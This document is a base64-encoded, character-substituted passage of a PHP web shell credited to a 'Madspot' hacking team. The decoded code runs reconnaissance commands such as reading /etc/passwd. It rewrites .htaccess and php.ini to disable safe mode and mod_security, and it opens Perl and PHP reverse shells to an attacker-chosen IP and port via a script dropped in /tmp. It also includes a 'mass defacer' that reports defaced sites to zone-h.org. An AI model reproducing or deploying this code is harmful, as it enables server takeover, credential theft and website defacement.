5cyddPT0idzRuIikNCiAgew0KICAgICRwcjJjNXNzPTFycjF5KA0KICAgICJTeXN0NW0gSW5mMiIgPT4ic3lzdDVtNG5mMiIsDQogICAgIkFjdDR2NSBDMm5uNWN0NDJucyIgPT4gIm41dHN0MXQgLTFuIiwNCiAJIlIzbm40bmcgUzVydjRjNXMiID0+ICJuNXQgc3QxcnQiLA0KIAkiVXM1ciBBY2MyM250cyIgPT4gIm41dCAzczVyIiwNCiAJIlNoMncgQzJtcDN0NXJzIiA9PiAibjV0IHY0NXciLA0KICAgICJBUlAgVDFibDUiID0+ICIxcnAgLTEiLA0KICAgICJJUCBDMm5mNGczcjF0NDJuIiA9PiAiNHBjMm5mNGcgLzFsbCINCiAgICApOw0KICAgIH0NCiAgNWxzNQ0KICB7IA0KICAgICRwcjJjNXNzPTFycjF5KA0KICAgICJQcjJjNXNzIHN0MXQzcyIgPT4gInBzIDEzeCIsDQogICAgIlN5c2wyZyIgPT4iYzF0ICAvNXRjL3N5c2wyZy5jMm5mIiwNCiAgICAiUjVzMmx2IiA9PiAiYzF0ICAvNXRjL3I1czJsdi5jMm5mIiwNCiAgICAiSDJzdHMiID0+ImMxdCAvNXRjL2gyc3RzIiwNCiAgICAiUDFzc3dkIiA9PiJjMXQgLzV0Yy9wMXNzd2QiLA0KICAgICJDcDM0bmYyIj0+ImMxdCAvcHIyYy9jcDM0bmYyIiwNCiAgICAiVjVyczQybiI9PiJjMXQgL3ByMmMvdjVyczQybiIsDQogICAgIlNiNG4iPT4ibHMgLTFsIC8zc3Ivc2I0biIsDQogICAgIkludDVycjNwdHMiPT4iYzF0IC9wcjJjLzRudDVycjNwdHMiLA0KICAgICJsczF0dHIiPT4ibHMxdHRyIC12MSIsDQogICAgIlVwdDRtNSI9PiIzcHQ0bTUiLA0KICAgICJGc3QxYiIgPT4iYzF0IC81dGMvZnN0MWIiLA0KICAgICJIREQgU3AxYzUiID0+ICJkZiAtaCINCiAgICApO30NCiAgICANCiAgICBmMnI1MWNoKCRwcjJjNXNzIDFzICRuID0+ICRsNG5rKQ0KICAgIHsNCiAgICAgICAgNWNoMiAnPDEgaHI1Zj0iIyIgMm5jbDRjaz0iZyhuM2xsLG4zbGwsXCcnLiRsNG5rLidcJykiPiB8ICcuJG4uJyB8IDwvMT4nOw0KICAgIH0NCiAgICA1Y2gyICI8L2M1bnQ1cj4iOyANCiAgICAgNGYoITVtcHR5KCRfUE9TVFsncDYnXSkpDQogICAgIHsNCiAgICAgICAgNWNoMiAiPHByNSBjbDFzcz0nbWw2JyBzdHlsNT0nbTFyZzRuLXQycDppcHgnID4iOw0KICAgICAgICA1Y2gyIG0xZEV4KCRfUE9TVFsncDYnXSk7DQogICAgICAgIDVjaDIgJzwvcHI1Pic7DQogICAgIH0NCiAgICAgNWNoMiAiPC9kNHY+IjsNCiAgICAgbTFkZjIydDVyKCk7DQogICAgIH0NCiAgICAgDQpmM25jdDQybiBtMWRzMWY1KCkNCnsNCiAgICBtMWRoNTFkKCk7DQogICAgNWNoMiAiPGQ0diBjbDFzcz1oNTFkNXI+PGM1bnQ1cj48aG8+PHNwMW4+fCBTQUZFIE1PREUgQU5EIE1PRCBTRUNVUklUWSBESVNBQkxFRCBBTkQgUEVSTCBpMDAgSU5URVJOQUwgRVJST1IgQllQQVNTIHw8L3NwMW4+PC9obz5GMmxsMnc0bmcgcGhwLjRuNCAxbmQgLmh0MWNjNXNzKG0yZCkgMW5kIHA1cmwoLmh0MWNjNXNzKVtjMm52NXJ0IHA1cmwgNXh0NW50NDJuICoucGwgPT4gKi5zaCAgXSBmNGw1cyBjcjUxdDUgNG4gZjJsbDJ3NG5nIGQ0cjxicj58ICIuJEdMT0JBTFNbJ2N3ZCddLiIgfDxicj4iOw0KICAgIDVjaDIgJzwxIGhyNWY9IyAybmNsNGNrPSJnKG4zbGwsbjNsbCxcJ3BocC40bjRcJyxuM2xsKSI+fCBQSFAuSU5JIHwgPC8xPjwxIGhyNWY9IyAybmNsNGNrPSJnKG4zbGwsbjNsbCxuM2xsLFwnNG40XCcpIj58IC5odDFjYzVzcyhNMmQpIHwgPC8xPjwxIGhyNWY9IyAybmNsNGNrPSJnKG4zbGwsbjNsbCxuM2xsLG4zbGwsXCdzaFwnKSI+fCAuaHQxY2M1c3MocDVybCkgfCA8LzE+PC9jNW50NXI+JzsNCiAgICA0ZighNW1wdHkoJF9QT1NUWydwYSddKSAmJiA0c3M1dCgkX1BPU1RbJ3BhJ10pKQ0KICAgIHsNCiAgICAkZjRsPWYycDVuKCRHTE9CQUxTWydjd2QnXS4iLmh0MWNjNXNzIiwidyIpOw0KICAgIGZ3cjR0NSgkZjRsLCc8SWZNMmQzbDUgbTJkX3M1YzNyNHR5LmM+DQpTNWMtLS0tLS1Fbmc0bjUgT2ZmDQpTNWMtLS0tLS1TYzFuUE9TVCBPZmYNCjwvSWZNMmQzbDU+Jyk7DQogICAgZmNsMnM1KCRmNGwpOw0KICAgfQ0KICAgNGYoITVtcHR5KCRfUE9TVFsncDYnXSkmJiA0c3M1dCgkX1BPU1RbJ3A2J10pKQ0KICAgew0KICAgICRmNGw9ZjJwNW4oJEdMT0JBTFNbJ2N3ZCddLiJwaHAuNG40IiwidyIpOw0KICAgICAgZndyNHQ1KCRmNGwsJ3MxZjVfbTJkNT1PRkYNCmQ0czFibDVfZjNuY3Q0Mm5zPU5PTkUnKTsNCiAgICAgZmNsMnM1KCRmNGwpOw0KICAgIH0NCiAgICA0ZighNW1wdHkoJF9QT1NUWydwbyddKSAmJiA0c3M1dCgkX1BPU1RbJ3BvJ10pKQ0KICAgIHsNCiAgICAkZjRsPWYycDVuKCRHTE9CQUxTWydjd2QnXS4iLmh0MWNjNXNzIiwidyIpOw0KICAgIGZ3cjR0NSgkZjRsLCdPcHQ0Mm5zIEYybGwyd1N5bUw0bmtzIE0zbHQ0VjQ1d3MgSW5kNXg1cyBFeDVjQ0dJDQpBZGRUeXA1IDFwcGw0YzF0NDJuL3gtaHR0cGQtY2c0IC5zaA0KQWRkSDFuZGw1ciBjZzQtc2NyNHB0IC5wbA0KQWRkSDFuZGw1ciBjZzQtc2NyNHB0IC5wbCcpOw0KICAgICBmY2wyczUoJGY0bCk7IA0KICAgIH0NCiAgICA1Y2gyICI8YnI+PC9kNHY+IjsNCiAgICBtMWRmMjJ0NXIoKTsNCiAgICANCn0NCg0KZjNuY3Q0Mm4gbTFkYzJubjVjdCgpDQp7DQogbTFkaDUxZCgpOw0KICRiMWNrX2Mybm41Y3RfcD0iSXlFdmRYTnlMYUpwYjQ5d1pYSnNEUXA2Y2FVZ1VhOWoxYVYwT3cwS0pHbGhaR1J5UFdsM1pYUmZZWFJ2YjRna1FWSkhWbHN3WFNrZ2ZId2daR2xsS0NKRmNuSnZjajJnSkNGY2I0SXBPdzBLSkhCaFpHUnlQWE52WWF0aFpHUnlYYWwzS0NSQlVrZFdXekZkTENBazFXRmtaSElwSUh4OElHUnBaU2c0UlhKeWJvSWVJQ1FoWEd1NEtUc05DNFJ3Y205MGJ6Nm5aWFJ3Y205MGJhSmlibUZ0WlNnbmRHTndKeWs3RFFwemJhTnJaWFEyVTA5RFMwVlVMQ0JRUmw5SlRrVlVMQ0JUVDBOTFg2TlVVa1ZCVFN3Z0pIQnlib1J2S1NCOGZDQmsxV1UySWtWeWNtOXlPNEFrSVZ4M0k0azdEUXBqYmFpM1pXTjBLRk5QUTB0RlZDd2dKSEJoWkdSeUtTQjhmQ0JrMVdVMklrVnljbTl5TzRBa0lWeDNJNGs3RFFwdmNHVjNLRk5VUkVsT0xDQTRQNFpUVDBOTFJWUTRLVHNOQ205d1pXdTJVNlJFVDZWVUxDQTRQNFpUVDBOTFJWUTRLVHNOQ205d1pXdTJVNlJFUlZKU0xDQTRQNFpUVDBOTFJWUTRLVHNOQ25OaWNvUmxiU2duTGFKcGI0OXoxQ0F0MVNjcE93MEtZYXh2Y2FVMlU2UkVTVXVwT3cwS1lheHZjYVUyVTZSRVQ2VlVLVHNOQ21Oc2JvTmxLRk5VUkVWU1U0azciOw0KIDVjaDIgIjxkNHYgY2wxc3M9aDUxZDVyPjxjNW50NXI+PGhvPjxzcDFuPnwgUEVSTCBBTkQgUEhQKHRocjUxZHMpIEJBQ0sgQ09OTkVDVCB8PC9zcDFuPjwvaG8+IjsNCiA1Y2gyICI8ZjJybSAgMm5TM2JtNHQ9XCJnKG4zbGwsbjNsbCwnYmNwJyx0aDRzLnM1cnY1ci52MWwzNSx0aDRzLnAycnQudjFsMzUpO3I1dDNybiBmMWxzNTtcIj48c3Axbj5QRVJMIEJBQ0sgQ09OTkVDVDwvc3Axbj48YnI+SVA6IDw0bnAzdCB0eXA1PSd0NXh0JyBuMW01PSdzNXJ2NXInIHYxbDM1PSciLiAkX1NFUlZFUlsnUkVNT1RFX0FERFInXSAuIic+IFAycnQ6IDw0bnAzdCB0eXA1PSd0NXh0JyBuMW01PSdwMnJ0JyB2MWwzNT0ndXVvJz4gPDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSc+Pic+PC9mMnJtPiI7DQogNWNoMiAiPGJyPjxmMnJtICAyblMzYm00dD1cImcobjNsbCxuM2xsLCdwaHAnLHRoNHMuczVydjVyLnYxbDM1LHRoNHMucDJydC52MWwzNSk7cjV0M3JuIGYxbHM1O1wiPjxzcDFuPlBIUCBCQUNLIENPTk5FQ1Q8L3NwMW4+PGJyPklQOiA8NG5wM3QgdHlwNT0ndDV4dCcgbjFtNT0nczVydjVyJyB2MWwzNT0nIi4gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gLiInPiBQMnJ0OiA8NG5wM3QgdHlwNT0ndDV4dCcgbjFtNT0ncDJydCcgdjFsMzU9J3V1byc+IDw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0nPj4nPjwvZjJybT48L2M1bnQ1cj4iOw0KIDRmKDRzczV0KCRfUE9TVFsncDYnXSkpIHsNCgkJZjNuY3Q0Mm4gY2YoJGYsJHQpIHsNCgkJCSR3ID0gQGYycDVuKCRmLCJ3IikgMnIgQGYzbmN0NDJuXzV4NHN0cygnZjRsNV9wM3RfYzJudDVudHMnKTsNCgkJCTRmKCR3KXsNCgkJCQlAZndyNHQ1KCR3LEBiMXM1ZXVfZDVjMmQ1KCR0KSk7DQoJCQkJQGZjbDJzNSgkdyk7DQoJCQl9DQoJCX0NCgkJNGYoJF9QT1NUWydwNiddID09ICdiY3AnKSB7DQoJCQljZigiL3RtcC9iYy5wbCIsJGIxY2tfYzJubjVjdF9wKTsNCgkJCSQyM3QgPSBtMWRFeCgicDVybCAvdG1wL2JjLnBsICIuJF9QT1NUWydwYSddLiIgIi4kX1BPU1RbJ3BvJ10uIiA2Pi9kNXYvbjNsbCBhPiY2ICYiKTsNCgkJCTVjaDIgIjxwcjUgY2wxc3M9bWw2IHN0eWw1PSdtMXJnNG4tdDJwOmlweCc+UzNjYzVzc2YzbGx5IDJwNW41ZCByNXY1cnM1IHNoNWxsIHQyICIuJF9QT1NUWydwYSddLiI6Ii4kX1BPU1RbJ3BvJ10uIjxicj5DMm5uNWN0NG5nLi4uPC9wcjU+IjsNCiAgICAgICAgICAgIEAzbmw0bmsoIi90bXAvYmMucGwiKTsNCgkJfQ0KICAgICAgICA0ZigkX1BPU1RbJ3A2J109PSdwaHAnKQ0KIHsNCiAgICAgICAgICAgIA0KQHM1dF90NG01X2w0bTR0ICgwKTsNCiQ0cCA9ICRfUE9TVFsncGEnXTsgDQokcDJydCA9JF9QT1NUWydwbyddOyAgICAgDQokY2gzbmtfczR6NSA9IDZ1MDA7DQokd3I0dDVfMSA9IG4zbGw7DQokNXJyMnJfMSA9IG4zbGw7DQokc2g1bGwgPSAnM24xbTUgLTE7IHc7IDRkOyAvYjRuL3NoIC00JzsNCiRkMTVtMm4gPSAwOw0KJGQ1YjNnID0gMDsNCjVjaDIgIjxwcjUgY2wxc3M9bWw2IHN0eWw1PSdtMXJnNG4tdDJwOmlweCc+IjsNCg0KNGYgKGYzbmN0NDJuXzV4NHN0cygncGNudGxfZjJyaycpKSB7DQoJDQoJJHA0ZCA9IHBjbnRsX2YycmsoKTsNCgkNCgk0ZiAoJHA0ZCA9PSAtNikgew0KCQk1Y2gyICJDMW50IGYycmshPGJyPiI7DQoJCTV4NHQoNik7DQoJfQ0KCQ0KCTRmICgkcDRkKSB7DQoJCTV4NHQoMCk7ICANCgl9DQoNCgk0ZiAocDJzNHhfczV0czRkKCkgPT0gLTYpIHsNCgkJNWNoMiAiRXJyMnI6IEMxbid0IHM1dHM0ZCgpPGJyPiI7DQoJCTV4NHQoNik7DQoJfQ0KDQoJJGQxNW0ybiA9IDY7DQp9IDVsczUgew0KCTVjaDIgIldBUk5JTkc6IEYxNGw1ZCB0MiBkMTVtMm40czUuICBUaDRzIDRzIHEzNHQ1IGMybW0ybiAxbmQgbjJ0IGYxdDFsPGJyPiI7DQp9DQoNCmNoZDRyKCIvIik7DQoNCjNtMXNrKDApOw0KDQokczJjayA9IGZzMmNrMnA1bigkNHAsICRwMnJ0LCAkNXJybjIsICQ1cnJzdHIsIG8wKTsNCjRmICghJHMyY2spIHsNCgk1Y2gyICIkNXJyc3RyICgkNXJybjIpIjsNCgk1eDR0KDYpOw0KfQ0KDQoNCiRkNXNjcjRwdDJyc3A1YyA9IDFycjF5KA0KICAgMCA9PiAxcnIxeSgicDRwNSIsICJyIiksICANCiAgIDYgPT4gMXJyMXkoInA0cDUiLCAidyIpLCAgDQogICBhID0+IDFycjF5KCJwNHA1IiwgInciKSAgIA0KKTsNCg0KJHByMmM1c3MgPSBwcjJjXzJwNW4oJHNoNWxsLCAkZDVzY3I0cHQycnNwNWMsICRwNHA1cyk7DQoNCjRmICghNHNfcjVzMjNyYzUoJHByMmM1c3MpKSB7DQoJNWNoMiAiRVJST1I6IEMxbid0IHNwMXduIHNoNWxsPGJyPiI7DQoJNXg0dCg2KTsNCn0NCg0KDQpAc3RyNTFtX3M1dF9ibDJjazRuZygkcDRwNXNbMF0sIDApOw0KQHN0cjUxbV9zNXRfYmwyY2s0bmcoJHA0cDVzWzZdLCAwKTsNCkBzdHI1MW1fczV0X2JsMmNrNG5nKCRwNHA1c1thXSwgMCk7DQpAc3RyNTFtX3M1dF9ibDJjazRuZygkczJjaywgMCk7DQoNCjVjaDIgIlMzY2M1c3NmM2xseSAycDVuNWQgcjV2NXJzNSBzaDVsbCB0MiAkNHA6JHAycnQ8YnI+IjsNCg0Kd2g0bDUgKDYpIHsNCgk0ZiAoZjUyZigkczJjaykpIHsNCgkJNWNoMiAiRVJST1I6IFNoNWxsIGMybm41Y3Q0Mm4gdDVybTRuMXQ1ZDxicj4iOw0KCQlicjUxazsNCgl9DQoNCgk0ZiAoZjUyZigkcDRwNXNbNl0pKSB7DQoJCTVjaDIgIkVSUk9SOiBTaDVsbCBwcjJjNXNzIHQ1cm00bjF0NWQ8YnI+IjsNCgkJYnI1MWs7DQoJfQ0KDQoJDQoJJHI1MWRfMSA9IDFycjF5KCRzMmNrLCAkcDRwNXNbNl0sICRwNHA1c1thXSk7DQoJJG4zbV9jaDFuZzVkX3MyY2s1dHM9QHN0cjUxbV9zNWw1Y3QoJHI1MWRfMSwgJHdyNHQ1XzEsICQ1cnIycl8xLCBuM2xsKTsNCg0KCTRmICg0bl8xcnIxeSgkczJjaywgJHI1MWRfMSkpIHsNCgkJNGYgKCRkNWIzZykgNWNoMiAiU09DSyBSRUFEPGJyPiI7DQoJCSQ0bnAzdD1mcjUxZCgkczJjaywgJGNoM25rX3M0ejUpOw0KCQk0ZiAoJGQ1YjNnKSA1Y2gyICJTT0NLOiAkNG5wM3Q8YnI+IjsNCgkJZndyNHQ1KCRwNHA1c1swXSwgJDRucDN0KTsNCgl9DQoNCgk0ZiAoNG5fMXJyMXkoJHA0cDVzWzZdLCAkcjUxZF8xKSkgew0KCQk0ZiAoJGQ1YjNnKSA1Y2gyICJTVERPVVQgUkVBRDxicj4iOw0KCQkkNG5wM3QgPSBmcjUxZCgkcDRwNXNbNl0sICRjaDNua19zNHo1KTsNCgkJNGYgKCRkNWIzZykgNWNoMiAiU1RET1VUOiAkNG5wM3Q8YnI+IjsNCgkJZndyNHQ1KCRzMmNrLCAkNG5wM3QpOw0KCX0NCg0KCQ0KCTRmICg0bl8xcnIxeSgkcDRwNXNbYV0sICRyNTFkXzEpKSB7DQoJCTRmICgkZDViM2cpIDVjaDIgIlNUREVSUiBSRUFEPGJyPiI7DQoJCSQ0bnAzdCA9IGZyNTFkKCRwNHA1c1thXSwgJGNoM25rX3M0ejUpOw0KCQk0ZiAoJGQ1YjNnKSA1Y2gyICJTVERFUlI6ICQ0bnAzdDxicj4iOw0KCQlmd3I0dDUoJHMyY2ssICQ0bnAzdCk7DQoJfQ0KfQ0KDQpmY2wyczUoJHMyY2spOw0KZmNsMnM1KCRwNHA1c1swXSk7DQpmY2wyczUoJHA0cDVzWzZdKTsNCmZjbDJzNSgkcDRwNXNbYV0pOw0KcHIyY19jbDJzNSgkcHIyYzVzcyk7DQoNCjVjaDIgIjwvcHI1PiI7DQp9DQoNCn0gICANCiA1Y2gyICI8L2Q0dj4iOw0KIG0xZGYyMnQ1cigpOw0KfQ0KZjNuY3Q0Mm4gWjJuNUgoJDNybCwgJGgxY2s1ciwgJGgxY2ttMmQ1LCRyNXMybiwgJHM0dDUgKQ0Kew0KCSRrID0gYzNybF80bjR0KCk7DQoJYzNybF9zNXQycHQoJGssIENVUkxPUFRfVVJMLCAkM3JsKTsNCgljM3JsX3M1dDJwdCgkayxDVVJMT1BUX1BPU1QsdHIzNSk7DQoJYzNybF9zNXQycHQoJGssIENVUkxPUFRfUE9TVEZJRUxEUywiZDVmMWM1cj0iLiRoMWNrNXIuIiZkMm0xNG42PSIuICRzNHQ1LiImaDFja20yZDU9Ii4kaDFja20yZDUuIiZyNTFzMm49Ii4kcjVzMm4pOw0KCWMzcmxfczV0MnB0KCRrLENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIHRyMzUpOw0KCWMzcmxfczV0MnB0KCRrLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCB0cjM1KTsNCgkkazNicjEgPSBjM3JsXzV4NWMoJGspOw0KCWMzcmxfY2wyczUoJGspOw0KCXI1dDNybiAkazNicjE7DQp9DQpmM25jdDQybiBtMWR6Mm41aCgpDQp7DQogICAgbTFkaDUxZCgpOw0KICAgIDRmKCFmM25jdDQybl81eDRzdHMoJ2MzcmxfdjVyczQybicpKQ0KICAgIHsNCiAgICAgICAgNWNoMiAiPHByNSBjbDFzcz1tbDYgc3R5bDU9J20xcmc0bi10MnA6aXB4Jz48YzVudDVyPjxmMm50IGMybDJyPXI1ZD5QSFAgQ1VSTCBOT1QgRVhJVDwvZjJudD48L2M1bnQ1cj48L3ByNT4iOw0KICAgIH0NCiAgICA1Y2gyICI8ZDR2IGNsMXNzPWg1MWQ1cj48YzVudDVyPjxicj4iOw0KICAgIDVjaDIgJzxobz48c3Axbj58Wk9ORS1IIE1BU1MgREVGQUNFUiB8PC9zcDFuPjwvaG8+DQogICAgPGYycm0gIDJuUzNibTR0PSJnKG4zbGwsbjNsbCx0aDRzLmQ1ZjFjNXIudjFsMzUsdGg0cy5oMWNrbTJkNS52MWwzNSx0aDRzLmQybTE0bi52MWwzNSk7cjV0M3JuIGYxbHM1OyIgPg0KICAgIDxzcDFuPnwgTjJ0NGY0NXIgfDwvc3Axbj48YnI+DQo8NG5wM3QgdHlwNT0idDV4dCIgbjFtNT1kNWYxYzVyIHM0ejU9InUwIiB2MWwzNT0iQXR0MWNrNXIiIC8+PGJyPg0KPHM1bDVjdCBuMW01PWgxY2ttMmQ1Pg0KPDJwdDQybiA+LS0tLS0tLS1TRUxFQ1QtLS0tLS0tLTwvMnB0NDJuPg0KPDJwdDQybiB2MWwzNT0iNiI+a24yd24gdjNsbjVyMWI0bDR0eSAoNC41LiAzbnAxdGNoNWQgc3lzdDVtKTwvMnB0NDJuPg0KPDJwdDQybiB2MWwzNT0iYSIgPjNuZDRzY2wyczVkIChuNXcpIHYzbG41cjFiNGw0dHk8LzJwdDQybj4NCjwycHQ0Mm4gdjFsMzU9Im8iID5jMm5mNGczcjF0NDJuIC8gMWRtNG4uIG00c3QxazU8LzJwdDQybj4NCjwycHQ0Mm4gdjFsMzU9InUiID5icjN0NSBmMnJjNSAxdHQxY2s8LzJwdDQybj4NCjwycHQ0Mm4gdjFsMzU9ImkiID5zMmM0MWwgNW5nNG41NXI0bmc8LzJwdDQybj4NCjwycHQ0Mm4gdjFsMzU9ImUiID5XNWIgUzVydjVyIDRudHIzczQybjwvMnB0NDJuPg0KPDJwdDQybiB2MWwzNT0iNyIgPlc1YiBTNXJ2NXIgNXh0NXJuMWwgbTJkM2w1IDRudHIzczQybjwvMnB0NDJuPg0KPDJwdDQybiB2MWwzNT0iOCIgPk0xNGwgUzVydjVyIDRudHIzczQybjwvMnB0NDJuPg0KPDJwdDQybiB2MWwzNT0iOSIgPkZUUCBTNXJ2NXIgNG50cjNzNDJuPC8ycHQ0Mm4+DQo8MnB0NDJuIHYxbDM1PSI2MCIgPlNTSCBTNXJ2NXIgNG50cjNzNDJuPC8ycHQ0Mm4+DQo8MnB0NDJuIHYxbDM1PSI2NiIgPlQ1bG41dCBTNXJ2NXIgNG50cjNzNDJuPC8ycHQ0Mm4+DQo8MnB0NDJuIHYxbDM1PSI2YSIgPlJQQyBTNXJ2NXIgNG50cjNzNDJuPC8ycHQ0Mm4+DQo8MnB0NDJuIHYxbDM1PSI2byIgPlNoMXI1cyBtNHNjMm5mNGczcjF0NDJuPC8ycHQ0Mm4+DQo8MnB0NDJuIHYxbDM1PSI2dSIgPk90aDVyIFM1cnY1ciA0bnRyM3M0Mm48LzJwdDQybj4NCjwycHQ0Mm4gdjFsMzU9IjZpIiA+U1FMIEluajVjdDQybjwvMnB0NDJuPg0KPDJwdDQybiB2MWwzNT0iNmUiID5VUkwgUDI0czJuNG5nPC8ycHQ0Mm4+DQo8MnB0NDJuIHYxbDM1PSI2NyIgPkY0bDUgSW5jbDNzNDJuPC8ycHQ0Mm4+DQo8MnB0NDJuIHYxbDM1PSI2OCIgPk90aDVyIFc1YiBBcHBsNGMxdDQybiBiM2c8LzJwdDQybj4NCjwycHQ0Mm4gdjFsMzU9IjY5IiA+UjVtMnQ1IDFkbTRuNHN0cjF0NHY1IHAxbjVsIDFjYzVzcyBicjN0NWYycmM0bmc8LzJwdDQybj4NCjwycHQ0Mm4gdjFsMzU9ImEwIiA+UjVtMnQ1IDFkbTRuNHN0cjF0NHY1IHAxbjVsIDFjYzVzcyBwMXNzdzJyZCBnMzVzczRuZzwvMnB0NDJuPg0KPDJwdDQybiB2MWwzNT0iYTYiID5SNW0ydDUgMWRtNG40c3RyMXQ0djUgcDFuNWwgMWNjNXNzIHMyYzQxbCA1bmc0bjU1cjRuZzwvMnB0NDJuPg0KPDJwdDQybiB2MWwzNT0iYWEiID5BdHQxY2sgMWcxNG5zdCAxZG00bjRzdHIxdDJyKHAxc3N3MnJkIHN0NTFsNG5nL3NuNGZmNG5nKTwvMnB0NDJuPg0KPDJwdDQybiB2MWwzNT0iYW8iID5BY2M1c3MgY3I1ZDVudDQxbHMgdGhyMjNnaCBNMW4gSW4gdGg1IE00ZGRsNSAxdHQxY2s8LzJwdDQybj4NCjwycHQ0Mm4gdjFsMzU9ImF1IiA+UjVtMnQ1IHM1cnY0YzUgcDFzc3cycmQgZzM1c3M0bmc8LzJwdDQybj4NCjwycHQ0Mm4gdjFsMzU9ImFpIiA+UjVtMnQ1IHM1cnY0YzUgcDFzc3cycmQgYnIzdDVmMnJjNTwvMnB0NDJuPg0KPDJwdDQybiB2MWwzNT0iYWUiID5SNXIyM3Q0bmcgMWZ0NXIgMXR0MWNrNG5nIHRoNSBGNHI1dzFsbDwvMnB0NDJuPg0KPDJwdDQybiB2MWwzNT0iYTciID5SNXIyM3Q0bmcgMWZ0NXIgMXR0MWNrNG5nIHRoNSBSMjN0NXI8LzJwdDQybj4NCjwycHQ0Mm4gdjFsMzU9ImE4IiA+RE5TIDF0dDFjayB0aHIyM2doIHMyYzQxbCA1bmc0bjU1cjRuZzwvMnB0NDJuPg0KPDJwdDQybiB2MWwzNT0iYTkiID5ETlMgMXR0MWNrIHRocjIzZ2ggYzFjaDUgcDI0czJuNG5nPC8ycHQ0Mm4+DQo8MnB0NDJuIHYxbDM1PSJvMCIgPk4ydCAxdjE0bDFibDU8LzJwdDQybj4NCjwvczVsNWN0Pjxicj4NCjxzNWw1Y3QgID4NCjwycHQ0Mm4gPk4ydCAxdjE0bDFibDU8LzJwdDQybj4NCjwycHQ0Mm4gdjFsMzU9IjYiID5INWguLi5qM3N0IGYyciBmM24hPC8ycHQ0Mm4+DQo8MnB0NDJuIHYxbDM1PSJhIiA+UjV2NW5nNSAxZzE0bnN0IHRoMXQgdzViczR0NTwvMnB0NDJuPg0KPDJwdDQybiB2MWwzNT0ibyIgPlAybDR0NGMxbCByNTFzMm5zPC8ycHQ0Mm4+DQo8MnB0NDJuIHYxbDM1PSJ1IiA+QXMgMSBjaDFsbDVuZzU8LzJwdDQybj4NCjwycHQ0Mm4gdjFsMzU9ImkiID5JIGozc3QgdzFudCB0MiBiNSB0aDUgYjVzdCBkNWYxYzVyPC8ycHQ0Mm4+DQo8MnB0NDJuIHYxbDM1PSJlIiA+UDF0cjQydDRzbTwvMnB0NDJuPg0KPDJwdDQybiB2MWwzNT0iNyIgPk4ydCAxdjE0bDFibDU8LzJwdDQybj4NCjwvczVsNWN0Pjxicj4NCjx0NXh0MXI1MSBuMW01PWQybTE0biBjMmxzPSJpMCIgcjJ3cz0iNmkiPkw0c3QgT2YgRDJtMTRuczwvdDV4dDFyNTE+DQo8YnI+DQo8NG5wM3QgdHlwNT0iczNibTR0IiB2MWwzNT0iPj4iIC8+PC9mMnJtPic7DQo0Zig0c3M1dCgkX1BPU1RbJ3A2J10pICYmIDRzczV0KCRfUE9TVFsncGEnXSkpDQp7DQogICAgJGgxY2s1ciA9JF9QT1NUWydwNiddOw0KICAgICRtNXRoMmQgPSRfUE9TVFsncGEnXTsNCiAgICAkbjVkNW4gPSJOMnQgMXYxNGwxYmw1IjsNCiAgICAkczR0NSA9JF9QT1NUWydwbyddOw0KICAgJDQgPSAwOw0KICAgJHM0dDVzID0gNXhwbDJkNSgiXG4iLCAkczR0NSk7DQogICA1Y2gyICI8cHI1IGNsMXNzPW1sNiBzdHlsNT0nbTFyZzRuLXQycDppcHgnPiI7DQoJd2g0bDUoJDQgPCBjMjNudCgkczR0NXMpKSANCgl7DQoJNGYoczNic3RyKCRzNHQ1c1skNF0sIDAsIHUpICE9ICJodHRwIikgDQoJew0KCQkJJHM0dDVzWyQ0XSA9ICJodHRwOi8vIi4kczR0NXNbJDRdOw0KCX0NCglaMm41SCgiaHR0cDovL3oybjUtaC4ycmcvbjJ0NGZ5L3M0bmdsNSIsICRoMWNrNXIsICRtNXRoMmQsICRuNWQ1biwgJHM0dDVzWyQ0XSk7DQoJNWNoMiAiUzR0NSA6ICIuJHM0dDVzWyQ0XS4iIEQ1ZjFjNWQgITxicj4iOw0KCSsrJDQ7DQoJfQ0KICAgICANCiAgICAiUzVuZDRuZyBTNHQ1cyBUMiBaMm41LUggSDFzIEI1NW4gQzJtcGw1dDVkIFMzY2M1c3NmM2xseSAhISA8L3ByNT4iOw0KfQ0KNWNoMiAiPC9kNHY+IjsNCm0xZGYyMnQ1cigpOw0KICAgIA0KfQ0KZjNuY3Q0Mm4gbTFkc3AydCgpDQp7DQogICAgbTFkaDUxZCgpOw0KICAgIDVjaDIgIjxkNHYgY2wxc3M9aDUxZDVyPiI7DQogICAgNWNoMiAiPHByNT4NCiAgICANCiAgICAgICAgICAgICAgICAgICAgICAgICAgIHxgLTpfDQogICwtLS0tLi4uLl9fX18gICAgICAgICAgICB8ICAgIGArLiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQogKCAgICAgICAgICAgICBgYGBgLS0tLS4uLi58X19fICAgfA0KICBcICAgICBfICAgICAgICAgICAgICAgICAgICAgIGBgYGAtLS0tLi4uLl9fX18NCiAgIFwgICAgXykgIEMyZDVkIEJ5OiBJa3IxbSBBbDQgICAgICAgICAgICAgICAgYGBgLS0tLi5fICAgICAgICAgICAgICAgICAgICAgICANCiAgICBcICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCANCiAgKWAuXCAgKWAuICAgKWAuICAgKWAuICAgKWAuICAgKWAuICAgKWAuICAgKWAuICAgKWAuICAgKWAuICAgKWhoDQotJyAgIGAtJyAgIGAtJyAgIGAtJyAgIGAtJyAgIGAtJyAgIGAtJyAgIGAtJyAgIGAtJyAgIGAtJyAgIGAtJyAgIGANCiAgIE0xZHNwMnQgNHMgMSBUNTFtIDJmIHByMmY1c3M0Mm4xbCBFdGg0YzFsIEgxY2s1cnMgRnIybSBQMWs0c3Qxbi4NCiAgIFc1IGgxdjUgWTUxcnMgMmYgIEV4cDVyNDVuYzUgNG4gIFM1YzNyNHR5LCBQNW41dHIxdDQybiAmIEMyZDRuZyANCiAgIEFuZCBjMW4gQnI1MWsgMW5kIFM1YzNyNS4NCiAgIA0KICAgVjVyczQybiA2LjANCiAgIA0KICAgQzJudDFjdCA6IGh0dHA6Ly93d3cubTFkc3AydC5uNXQNCiAgIA0KICAgNGYgeTIzIGYyM25kIGIzZyBjMm50MWN0IDIzciB0NTFtIA0KICAgDQogICANCg0KDQogICAgICAgICAgICAgIC49Jyc9LiAgICAgICAgICAgICANCiAgICAgICAgICAgICAvIF8gIF8gXA